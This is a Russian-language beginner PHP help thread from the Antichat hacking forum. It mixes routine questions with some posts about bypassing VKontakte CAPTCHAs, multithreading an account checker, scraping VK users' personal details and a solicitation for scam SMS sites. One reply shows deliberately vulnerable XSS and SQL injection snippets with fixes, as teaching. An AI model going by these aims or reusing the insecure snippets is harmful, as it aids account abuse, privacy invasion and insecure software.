07.09.2009, 00:46
Как можно сделать так чтобы при заходе выводился ip адрес компьютера?
Как сделать так чтобы выводилось текуще время тоже при заходе на страницу, это выводит время на английском <?echo gmdate("d M Y H:i:s");?> подскажите команду которая это делает на русском?

FireFenix
07.09.2009, 01:16
Как можно сделать так чтобы при заходе выводился ip адрес компьютера?
Как сделать так чтобы выводилось текуще время тоже при заходе на страницу, это выводит время на английском подскажите команду которая это делает на русском?

IP Адрес сервера
echo($_SERVER['SERVER_ADDR']);

IP Адрес клиента
echo($_SERVER['REMOTE_ADDR']);
подскажите команду которая это делает на русском?
Перед использованием функции date и подобных - нужно установить локаль

setlocale(LC_ALL, 'ru_RU.CP1251');вроде так

VladZombie
07.09.2009, 01:26
echo($_SERVER['SERVER_ADDR']);echo($_SERVER['REMOTE_ADDR']); нужно чтобы выводился именно евоный ip? а эти две команды отображают один и тот же ip

FireFenix
07.09.2009, 01:43
нужно чтобы выводился именно евоный ip? а эти две команды отображают один и тот же ip
Ну ёпт..... ты же небось тестируешь на локальной машине?
естесно Айпи твоего сервера будет равен айпи клиента!!!

Dr1ver
07.09.2009, 01:47
нужно чтобы выводился именно евоный ip? а эти две команды отображают один и тот же ip

Почему-то был уверен, что так и будет :D :D :D , в общем ставь второй вариант и это будет TRUE

VladZombie
07.09.2009, 01:47
Ну ёпт..... ты же небось тестируешь на локальной машине?
естесно Айпи твоего сервера будет равен айпи клиента!!! Блин точно.... чё то мне в голову не пришло это (

VladZombie
07.09.2009, 01:57
А насчёт вывода текущего времени можно поподробнее?

Insane bboy
07.09.2009, 06:41
как вычислить время между двумя датами? берется две строки из лога(тхт файл формата: время действие), парсю эти строки так что получается две переменные
$time_2 и $time_1 равные соответственно 05:57:30(пять утра, 57минут 30 секунд) и 05:54:42 как вычислить разницу в минутах между этими двумя датами?
и еще один вопрос, где то видел но не могу найти, как удалить 1 символ с конца строки?

-=Zhenek=-
07.09.2009, 07:17
Чтобы вычислить дату переведи ее в Unix формат:
Вычти одну от другой и дели результат на
3600 чтоб узнать разницу в часах
60 в минутах

VladZombie
07.09.2009, 08:01
насчёт вывода времени я чё та не догоняю (( я php очень плохо знаю.
Ещё вопрос имеется: можно ли с командой <?php include "text.txt"
?> взять определёную строку? а не весь текст

scrat
07.09.2009, 08:25
насчёт вывода времени я чё та не догоняю (( я php очень плохо знаю.
Ещё вопрос имеется: можно ли с командой взять определёную строку? а не весь текст
include - это подключение php-кода в ходе выполнения, чтобы получить строчку N нужно:


<?php
$contents = file("file.txt");
echo $contents[$N-1]; // нумерация строк идёт с нуля
?>

-=Zhenek=-
07.09.2009, 12:36
$time_s = strtotime(date("10:30:10"));
$time_l = strtotime(date("H:i:s"));
$time_r =($time_s -$time_l)/60;
echo $time_r; // выведет сколько прошло в часах


Вроде так, писал тут и не проверял..

svesve
07.09.2009, 14:16
Народ подскажите как выдрать капчу с контакта средствами пхп???

понятно что в заголовках приходит ссид капчи
preg_match('#csid=(.*?)"#',$cont,$capthca);
вытаскиваю его обращаюсь к картинке а он мне хер!
типа ошибка доступа

в чем проблема?

Insane bboy
07.09.2009, 14:16
я написал вычисление разницы с помощью mktime, одна проблема разница выходит в секундах, к примеру 8934сек и тд:) еще один глупый вопрос, как это сделать обратно в 01:23:05(часы:минуты:секунды разделять не обязательно ":" просто для наглядности написал) если я допустип это делю на 60 то ответ приходит в формате десятичной дроби

svesve
07.09.2009, 14:26
я написал вычисление разницы с помощью mktime, одна проблема разница выходит в секундах, к примеру 8934сек и тд:) еще один глупый вопрос, как это сделать обратно в 01:23:05(часы:минуты:секунды разделять не обязательно ":" просто для наглядности написал) если я допустип это делю на 60 то ответ приходит в формате десятичной дроби


<?php
/**
* Переводим кол-во секунд в понятный человеку формат
*
* @param integer $sec - Количество секунд
* @return string - Строка в Human-Friendly формате
*/
function format_time($sec) {
$a = array(
86400 => 'day', // количество секунд в сутках
3600 => 'hour', // количество секунд в часе
60 => 'min', // количество секунд в минуте
1 => 'sec' // количество секунд в секунде
);
$out = '';
foreach ($a as $k=>$v) {
$tmp = floor($sec/$k);
$out .= ($tmp?$tmp.$v.' ':'');
$sec -= $tmp*$k;
}
return $out;
}
?>

Пример использования:


<?php
echo format_time(924234);
?>

Kaimi
07.09.2009, 14:27
вытаскиваю его обращаюсь к картинке а он мне хер!
типа ошибка доступа

А кукисы в запросе подставляешь?

FeraS
07.09.2009, 14:37
Есть скрипт:
function getGoogleIdx($site) {
$buf = file_get_contents('http://www.google.com/search?hl=en&q=site:' . $site);

if (preg_match('!of\sabout\s<b>(.*?)</b>\sfrom!ism',$buf, $match)) {
return(str_replace(',', '', $match[1]));
}
else {return(0);}
}
На локалке запускаю — работает, заливаю на хостинг (PHP 5.2.5) — не пашет (т.е. 0 выводит).

Скажите, в какую сторону думать)
Может у хостера что-либо запрещено в php.ini, отчего функция не работает, если да, то что именно.

Спасибо.

svesve
07.09.2009, 14:41
А кукисы в запросе подставляешь?

хех дело было в амперсанте )
я его не как "&" отдавал а как amp; =)

svesve
07.09.2009, 14:43
Есть скрипт:
function getGoogleIdx($site) {
$buf = file_get_contents('http://www.google.com/search?hl=en&q=site:' . $site);

if (preg_match('!of\sabout\s<b>(.*?)</b>\sfrom!ism',$buf, $match)) {
return(str_replace(',', '', $match[1]));
}
else {return(0);}
}
На локалке запускаю — работает, заливаю на хостинг (PHP 5.2.5) — не пашет (т.е. 0 выводит).

Скажите, в какую сторону думать)
Может у хостера что-либо запрещено в php.ini, отчего функция не работает, если да, то что именно.

Спасибо.

error_reporting(1)

ошибки дает?

FeraS
07.09.2009, 14:51
svesve
Вообще ничего, даже 0 не выводит)

svesve
07.09.2009, 14:55
svesve
Вообще ничего, даже 0 не выводит)

ну тут только если у хостера URL file-access = disabled

попробуй у себя на локалке в php.ini поставь
URL file-access в disabled

и проверь

Insane bboy
07.09.2009, 14:58
есть функция, которая чекает акки, чекает курлом, как сделать многопоточность? нужен не сколько код, сколько обьяснения:) заранее благодарю:)

FeraS
07.09.2009, 15:03
ну тут только если у хостера URL file-access = disabled

попробуй у себя на локалке в php.ini поставь
URL file-access в disabled

и проверь
Шотта нинахажу такой строчке :rolleyes:

svesve
07.09.2009, 15:19
Шотта нинахажу такой строчке :rolleyes:
allow_url_fopen Off

FeraS
07.09.2009, 15:32
svesve
Спросил у хостера, сказал, что allow_url_fopen = On
Значит дело не в этом…

На другой хостинг залил — тоже по нулям, а, блин, в денвере все пашет)
мистико

mr-leon
07.09.2009, 16:38
народ кто слышал о сайтах однодневках для отправки смс на короткие номера напишите в асю 6680194

m0Hze
07.09.2009, 16:42
народ кто слышал о сайтах однодневках для отправки смс на короткие номера напишите в асю 6680194
Я слышал.Это какимто образом относиться к:
Форум АНТИЧАТ > КОДИНГ > PHP, PERL, MySQL, JavaScript. > [php] Новичкам: задаем вопросы
?

svesve
07.09.2009, 17:32
svesve
Спросил у хостера, сказал, что allow_url_fopen = On
Значит дело не в этом…

На другой хостинг залил — тоже по нулям, а, блин, в денвере все пашет)
мистико

а функции у хостера никакие не отключены???

Gifts
07.09.2009, 17:44
FeraS
function getGoogleIdx($site) {
$buf = file_get_contents('http://www.google.com/search?hl=en&q=site:' . $site);
var_dump($buf);
if (preg_match('!of\sabout\s<b>(.*?)</b>\sfrom!ism',$buf, $match)) {
return(str_replace(',', '', $match[1]));
}
else {return(0);}
}
Прежде чем задавать глупые вопросы, стоит посмотреть ЧТО получаете со страницы, скорее всего вы не один такой умник парсить гугл, и ИП забанен для поиска

VladZombie
07.09.2009, 19:04
include - это подключение php-кода в ходе выполнения, чтобы получить строчку N нужно:


<?php
$contents = file("file.txt");
echo $contents[$N-0]; // нумерация строк идёт с нуля
echo $contents[$N-1];
?>


Вставляю это код, первая строка нормально а последующие не выводятся. В чём проблема?

Gray_Wolf
07.09.2009, 21:35
$N по умолчанию = 0
0-1 = -1
echo $contents[-1]; ?

L E X X
07.09.2009, 21:49
Люди подскажите такой не сложный вопрос, какую книгу читать с начало? Я понимаю что есть тему "Books Php", но у меня нет желания качать все книги или выбирать на угад...
Начал учить "Самоучитель PHP" Д. Н. Колесниченко, но тут прочитал отзывы в нете - и мне сразу захотелось её удалить)

Помогите кто чем может)

VladZombie
07.09.2009, 21:50
Всё наконецто разобрался всё работает отлично. СПС

VladZombie
07.09.2009, 21:54
Люди подскажите такой не сложный вопрос, какую книгу читать с начало? Я понимаю что есть тему "Books Php", но у меня нет желания качать все книги или выбирать на угад...
Начал учить "Самоучитель PHP" Д. Н. Колесниченко, но тут прочитал отзывы в нете - и мне сразу захотелось её удалить)

Помогите кто чем может)
Лично я начал учить с видео уроков, но всё ровно не могу понять этот php :mad:

FeraS
07.09.2009, 22:03
Люди подскажите такой не сложный вопрос, какую книгу читать с начало? Я понимаю что есть тему "Books Php", но у меня нет желания качать все книги или выбирать на угад...
Начал учить "Самоучитель PHP" Д. Н. Колесниченко, но тут прочитал отзывы в нете - и мне сразу захотелось её удалить)

Помогите кто чем может)
http://uzeit.ru/blogs/0/19/post36.html рекомендую

m0Hze
07.09.2009, 22:12
Люди подскажите такой не сложный вопрос, какую книгу читать с начало? Я понимаю что есть тему "Books Php", но у меня нет желания качать все книги или выбирать на угад...
Начал учить "Самоучитель PHP" Д. Н. Колесниченко, но тут прочитал отзывы в нете - и мне сразу захотелось её удалить)

Помогите кто чем может)
php.net - recommended.И ничего другого.

Player#1
07.09.2009, 22:20
...
Помогите кто чем может)

если был опыт в программировании на других языках, то Д.В.Котеров,А.Ф.Костарев - PHP5 в подлиннике
если нет, то посмотри пару видео уроков.

m0Hze
07.09.2009, 22:29
если был опыт в программировании на других языках, то Д.В.Котеров,А.Ф.Костарев - PHP5 в подлиннике
если нет, то посмотри пару видео уроков.
Не засоряй мозги людям.ВИдео уроки по PHP, это как видео уроки по катанию на велосипеде.Не слушай его,читай книгу и главное офф.маны.

L E X X
07.09.2009, 23:15
Лично я начал учить с видео уроков, но всё ровно не могу понять этот php
Всё приходит со временем)

http://uzeit.ru/blogs/0/19/post36.html рекомендую
Беру твою) Пока единственное что подходит

php.net - recommended.И ничего другого.
Спасибо тоже) Но у меня с англ языком проблемы) нУ не полные - но читать сайты - это мне далеко)

если был опыт в программировании на других языках, то Д.В.Котеров,А.Ф.Костарев - PHP5 в подлиннике
если нет, то посмотри пару видео уроков.
Ну если не считать HTML, то не было) А ну ещё "Hello World!" на С++ :D
А с видео уроками я согласен с нижеизложенной фразой)

Не засоряй мозги людям.ВИдео уроки по PHP, это как видео уроки по катанию на велосипеде.Не слушай его,читай книгу и главное офф.маны.

Pashkela
08.09.2009, 00:25
Самые лучшие уроки - поставить свой форум и пытататься ставить хаки/плагины хотя бы. Остальное в разы дольше, имхо

RedBull@12
08.09.2009, 03:28
L E X X,
php.su полностью русскоязычный сайт на тему php и все что с ним связано, там так же есть и уроки. практически все тоже самое что и на php.net
изучай

b3
08.09.2009, 11:01
Самые лучшие уроки - поставить свой форум и пытататься ставить хаки/плагины хотя бы. Остальное в разы дольше, имхо
Угу и ты научишся копипастить, ведь это так сложно. Я лет 5 назад ставил хаки на разные двиги, зная только HTML.
Пиши в гугле уроки PHP и не мучайся ты читая этот бред в книжках на 1000 с х..ем страниц...
Не слушай мнение сомнительных особ, мне больше кажется ето мнение школоты которому очень тяжело прочитать книгу, нехватает усидчивости. В печатных изданиях некоторые аспекты рассмотрены обширно, в отличии от статей, который часто ограничены кол-вом символов и тд. Я не говорю что статьи и маны читать не надо, надо но книги я бы посоветовал в первую очередь.
php.net - recommended.И ничего другого.
Как раз есть очень много "другого" интересного и полезного, к примеру мануал:
http://manual.pohape.ru/

Gifts
08.09.2009, 11:52
L E X X Во-первых, учебник русского языка, потом к окулисту, и вот мы наконец увидим прикрепленную тему: https://forum.antichat.ru/thread89681.html

b3 Каг бе по ссылке оффициальный ман, только еще и устаревшая версия

superboy4
08.09.2009, 17:27
//инициализация сеанса
$ch = curl_init();
//установка необходимых параметров
curl_setopt($ch, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=zaco@mail.ru&pass=123');
curl_setopt($ch, CURLOPT_HEADER, 0);//Включение/выключение вывода http-заголовков
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.00');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//загрузка страницы и выдача её браузеру
curl_exec($ch);
//завершение сеанса и освобождение ресурсов
curl_close($ch);

Пытаюсь вывести содержание страницы пользователя
в браузере, однако в браузере выводится форма для входа!!! Я так понимаю опция CURLOPT_FOLLOWLOCATION позволяет вывести мне страничку пользователя, но она не выводится.

superboy4
08.09.2009, 17:46
CURLOPT_FOLLOWLOCATION : При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:").

из руководства Curl в PHP

superboy4
08.09.2009, 18:18
Можете мне хоть показать, что я делаю не так.

Gifts
08.09.2009, 18:25
superboy4 1 - вы флудите, это плохо, 2 - вы не получаете печеньки от вконтакта, добавьте
curl_setopt($ch, CURLOPT_COOKIEFILE, '.cookit');
curl_setopt($ch, CURLOPT_COOKIEJAR, '.cookit');

Doktor_radosti
08.09.2009, 18:50
Помогите с кодом, для парсинга страницы.
Спарсить нужно отсюда:

<div class="comment-avatar-box">
<a href="/user/444708" class="user_pic_link">
<img src="http://****.com/users/000/444/708/av4942.jpg" alt="Avatar" width="60">

</a>
</div>
<div class="comment-info-box"><a href="/user/444708">BIGBOOTYHOESONLY</a> - <span class="small grey">3 months ago </span></div>

<div class="comment-text-box">
SO WHERES UR PIXS ID LIKE TO SEE </div>

<div class="comment-controllers-box">

<div style="display: inline;" id="report_spam_854353_2113011"><a href="#" onclick="comment_controller_854353.reportSpam(2113011, 444708, '/spam/report?layout=off'); return false;">Report Spam</a></div> <strong>·</strong> <a href="/user/wall_to_wall?id=780936&amp;id2=444708">Wall to Wall</a> </div>
<div class="clear"></div>
</div>
</div><div id="comment_854353_2055465">
<div class="comment-box">

В итоге нужно выдрать текст "SO WHERES UR PIXS ID LIKE TO SEE"

Мозгов составить регулярное выражение нехватает (

Gifts
08.09.2009, 19:43
Doktor_radosti preg_match('#<div class="comment-text-box">\s*(.*?)\s*</div> #si',$str,$match);

.dimoN.
08.09.2009, 21:16
написал скрипт авторизации на mail.ru У меня на денвере работает без проблем, а на хостинге никак.

$ch = curl_init('http://win.mail.ru/cgi-bin/auth');
curl_setopt($ch, CURLOPT_REFERER, 'http://win.mail.ru/cgi-bin/login');
curl_setopt($ch, CURLOPT_POSTFIELDS, "page=&post=&login_from=&Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=1");
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2');
curl_setopt($ch, CURLOPT_COOKIEJAR, "путь к файлу с куками");
curl_setopt($ch, CURLOPT_COOKIEFILE, "путь к файлу с куками");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$res = curl_exec($ch);
curl_close($ch);
echo $res;

причем куки он на хостинге получает, но страницу выводить упорно не хочет. версию курла у меня libcurl/7.16.0, на хостинге libcurl/7.15.5. помогите, ато я уже запарился

Gray_Wolf
08.09.2009, 21:24
Самые лучшие уроки - поставить свой форум и пытататься ставить хаки/плагины хотя бы. Остальное в разы дольше, имхо
Ну да, каторгу жоще чем разгребать метровый CSS файл, придумать сложно...

Я думаю что для начала лучше всёже что-то написать самому.
Как только человек закончили стадию "вывод массива в таблицу", он может приступить к написанию одной из 2-х вещей:
1. Написание простого парсера. (если есть опыт в программировании на каком-либо языке)
2. Вывод содержимого БД в таблицу, при этом изучая SQL, HTML, CSS.

Обе эти задачи можно решить 1000 способами, так что они дают волю воображению, ну и в попытке довести их до идеала можно узнать немало нового.

b3
08.09.2009, 23:43
curl_setopt($ch, CURLOPT_COOKIEJAR, "путь к файлу с куками");
curl_setopt($ch, CURLOPT_COOKIEFILE, "путь к файлу с куками");
Как ето понять? Пиши путь $_SERVER['DOCUMENT_ROOT'].'/1' и выставь права на папку chmod 0777 чтоб куки могли сохранятся, т.к. в винде ненужны права на запись в директорию, а на хостинге не винда.

.dimoN.
09.09.2009, 00:28
curl_setopt($ch, CURLOPT_COOKIEJAR, "путь к файлу с куками");
curl_setopt($ch, CURLOPT_COOKIEFILE, "путь к файлу с куками");
Как ето понять? Пиши путь $_SERVER['DOCUMENT_ROOT'].'/1' и выставь права на папку chmod 0777 чтоб куки могли сохранятся, т.к. в винде ненужны права на запись в директорию, а на хостинге не винда.
я брал путь из phpinfo и прописывал к своему txt файлу. попробую как ты написал

s.p.a.m
09.09.2009, 09:49
Здравствуйте!
Мне нужно отпарсить из <img src="http://captcha.yandex.net/image?key=b472fe5f2f9381776bd16d20888b56e3" style="position: absolute; left: auto; top: auto; margin-left: 1.5em;"><div class="comment">
b472fe5f2f9381776bd16d20888b56e3
Заранее спасибо!

BlackSun
09.09.2009, 10:02
$start = strpos($text, 'yandex.net/image?key=') + 21;
$end = strpos($text, '" style="position: absolute; left: auto; top: auto; margin-left: 1.5em;">', $start);
echo substr($text, $start, $end - $start);

b3
09.09.2009, 10:46
preg_match('#src="http:\/\/captcha\.yandex\.net\/image\?key=([a-f0-9]{32})"#i',$str,$matches);
echo $matches[1];

lokus
09.09.2009, 11:46
Народ напишите плиз код на php который содержит php инъекция а потом покажите код который её закрывает.И ещё напишите пли код где показа XSS и как патчить её и если можно то и про SQL инъекции напишите.Заранее спасибо.

L E X X
09.09.2009, 12:30
L E X X,
php.su полностью русскоязычный сайт на тему php и все что с ним связано, там так же есть и уроки. практически все тоже самое что и на php.net
изучай

Спасибо! Тоже попользуюсь)

L E X X Во-первых, учебник русского языка, потом к окулисту, и вот мы наконец увидим прикрепленную тему: https://forum.antichat.ru/thread89681.html

Пойдём вместе - ок? Яж написал "...у меня нет желания качать все книги или выбирать на угад..."
Или ты советуешь одновременно 3-4 книги читать?

-=Zhenek=-
09.09.2009, 13:03
Народ напишите плиз код на php который содержит php инъекция а потом покажите код который её закрывает.И ещё напишите пли код где показа XSS и как патчить её и если можно то и про SQL инъекции напишите.Заранее спасибо.



XSS
<?
$name=$_GET['name'];
echo $name;

?>

Исправляем XSS
<?
$name=htmlspecialchars($_GET['name']);
echo $name;
?>


Скуля :

<?
$id = $_GET['id'];
$res = mysql_query("SELECT * FROM message WHERE id='$id'");
?>


<?
$id = intval($_GET['id']);
$res = mysql_query("SELECT * FROM message WHERE id='$id'");
?>


Писал на коленке.

Gifts
09.09.2009, 21:23
L E X X Можете купить бумажные версии, я не против. Можете читать последовательно - тож не против. Или вам подавай "Высшие откровения о ПХП включающие все-все-все". Так вот, как бы _х*й_ такое будет

lokus Читать тут про инъекции, в том числе с примерами https://forum.antichat.ru/thread19844.html

XXXXXX
10.09.2009, 14:02
Привет всем. помогите создать фотоальбом. тоесть нужен код что бы можно было заливать фотку и удалить ранее залитую фотку на сервак и что бы все залитые фотки отображались ниже. плиз.
ася 468665678.

superboy4
10.09.2009, 14:08
Мне нужно со страницы пользователя Вконтакте вида vkontakte.ru/id121212
вытащить: Имя и Фамилия пользователя, пол, город и университет. После этого занести эти данные в таблицу users. Как вытащить действительные имена и фамилии пользователей, так как у многих они на английском изменены как псевдонимы?

FireFenix
10.09.2009, 16:40
Мне нужно со страницы пользователя Вконтакте вида vkontakte.ru/id121212
вытащить: Имя и Фамилия пользователя, пол, город и университет. После этого занести эти данные в таблицу users. Как вытащить действительные имена и фамилии пользователей, так как у многих они на английском изменены как псевдонимы?
Изучить какой-либо язык программирования и PCRE

Ponchik
10.09.2009, 16:57
Такс... У мну ещё трабла
imap_search($mail,'FROM "mail@mail"');
Эта штуковина качает все письма и проверяет :o
Как получить самое новое письмо?